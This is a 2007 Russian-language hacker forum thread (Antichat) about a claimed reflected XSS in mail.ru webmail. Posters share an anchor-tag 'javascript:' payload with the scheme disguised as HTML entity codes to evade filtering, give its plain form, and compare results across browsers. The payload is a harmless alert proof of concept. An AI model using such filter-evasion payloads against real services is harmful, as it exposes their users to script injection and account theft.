ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости Mail-сервис XSS на mail.ru

   

Страница 1 из 3 1 2 3 >

Опции темы

Поиск в этой теме

Опции просмотра

XSS на mail.ru   #1   22.08.2007, 01:00 ~EviL~ Участник форума Регистрация: 14.08.2007 Сообщений: 150 С нами: 9865044 Репутация: 205 XSS на mail.ru Только что нашел свежайшую XSS на mail.ru (пассивная): <a href=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116:alert('XSS')>Текст</a> 𝕏 Twitter Reddit Telegram Копировать ссылку   ~EviL~ Посмотреть профиль Репутация Отправить личное сообщение для ~EviL~ Найти все сообщения от ~EviL~ Добавить в друзья   #2   22.08.2007, 01:09 1NtR0 Участник форума Регистрация: 14.04.2007 Сообщений: 197 С нами: 10039659 Репутация: 209 Ne rabotaet! Последний раз редактировалось 1NtR0; 22.08.2007 в 01:14..   1NtR0 Посмотреть профиль Репутация Отправить личное сообщение для 1NtR0 Найти все сообщения от 1NtR0 Добавить в друзья   #3   22.08.2007, 01:22 ~EviL~ Участник форума Регистрация: 14.08.2007 Сообщений: 150 С нами: 9865044 Репутация: 205 У меня сработало... хз, ща проверю снова.   ~EviL~ Посмотреть профиль Репутация Отправить личное сообщение для ~EviL~ Найти все сообщения от ~EviL~ Добавить в друзья   #4   22.08.2007, 01:48 ~EviL~ Участник форума Регистрация: 14.08.2007 Сообщений: 150 С нами: 9865044 Репутация: 205 Вот, все получается. Последний раз редактировалось ~EviL~; 22.08.2007 в 01:52..   ~EviL~ Посмотреть профиль Репутация Отправить личное сообщение для ~EviL~ Найти все сообщения от ~EviL~ Добавить в друзья   #5   22.08.2007, 08:49 Skaret Новичок Регистрация: 13.08.2007 Сообщений: 3 С нами: 9865650 Репутация: -12 Слушай,лутше кинь свою Xss не в зашифрованном виде   Skaret Посмотреть профиль Репутация Отправить личное сообщение для Skaret Найти все сообщения от Skaret Добавить в друзья   #6   22.08.2007, 09:38 n1†R0x Постоянный Регистрация: 20.01.2007 Сообщений: 787 С нами: 10160966 Репутация: 1719 такое будет работать только в ИЕ, если мне не изменяет память.   n1†R0x Посмотреть профиль Репутация Отправить личное сообщение для n1†R0x Посетить домашнюю страницу n1†R0x Найти все сообщения от n1†R0x Добавить в друзья   #7   22.08.2007, 09:40 inv Banned Регистрация: 03.08.2007 Сообщений: 313 С нами: 9879714 Репутация: 291 проверил такую ссылку на локалхосте в опере-работает   inv Посмотреть профиль Репутация Найти все сообщения от inv Добавить в друзья   #8   22.08.2007, 09:46 n1†R0x Постоянный Регистрация: 20.01.2007 Сообщений: 787 С нами: 10160966 Репутация: 1719 Для того, чтобы оно работало, нужно отправлять письмо в HTML (да и то я не особо уверен, что фильтры не порежут) В незашифрованном виде оно выглядит весьма банально: Код: <a href=javascript:alert('XSS')>Текст</a>   n1†R0x Посмотреть профиль Репутация Отправить личное сообщение для n1†R0x Посетить домашнюю страницу n1†R0x Найти все сообщения от n1†R0x Добавить в друзья   #9   22.08.2007, 13:01 K1nD[e]R Участник форума Регистрация: 16.06.2007 Сообщений: 133 С нами: 9949072 Репутация: 237 Все сработало на Ура!   K1nD[e]R Посмотреть профиль Репутация Отправить личное сообщение для K1nD[e]R Найти все сообщения от K1nD[e]R Добавить в друзья   #10   22.08.2007, 14:11 inv Banned Регистрация: 03.08.2007 Сообщений: 313 С нами: 9879714 Репутация: 291 в локалке сработало....на почте нет так как & заменилось на &amp; посылал письмо в формате htm с того же mail.ru   inv Посмотреть профиль Репутация Найти все сообщения от inv Добавить в друзья

Страница 1 из 3 1 2 3 >

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Xss	bx_N	Forum for discussion of ANTICHAT	7	11.03.2007 19:17

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход Мой кабинет Личные сообщения Подписки Кто на форуме Поиск по форуму Главная страница форума ИНФО     Мировые новости. Обсуждения.     Статьи         Избранное РАЗРАБОТКА     Ваши проекты     SЕО - тонкости, методы раскрутки         Услуги, Покупка и Продажа в SEO     Хостинги - Hostings         Хостинг, Dedicated, VDS, Сервера - покупка, продажа     Для Администратора         Apple: Mac, OS X, iOS         AntiDDos - АнтиДДОС         Windows         Linux, Freebsd, *nix ПРОГРАММИРОВАНИЕ     Общие вопросы программирования         ПО для Web разработчика     PHP     Python     С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby     Реверсинг ФИНАНСОВЫЕ ЗАДАЧИ/СОЦИАЛЬНЫЕ СЕТИ     Покупка, Продажа, Обмен         Разное - Покупка, продажа, обмен         Услуги, Покупка и Продажа в SEO         Электронные валюты: Обмен, Вывод, Ввод         VPN, Proxy, Socks - Покупка, продажа         Хостинг, Dedicated, VDS, Сервера - Покупка, продажа         Мобильная связь, СМС - Покупка, продажа         Трафик, инсталлы, загрузки - Покупка, продажа         Покупка, продажа, услуги в Соц. Сетях     Партнерки     Freelance - О Работе         Предложения работы, услуг     Социальные сети         Покупка, продажа, услуги в Соц. Сетях     Платежные системы         Электронные валюты: Обмен, Вывод, Ввод         Blockchain, Криптовалюты, смарт-контракты ЛИЧНЫЕ ФОРУМЫ     Арбитраж трафика ОФФТОП     Болталка     Forum for discussion of ANTICHAT     Video.Antichat         Комментарии к видео     Архив         ICQ - Покупка, продажа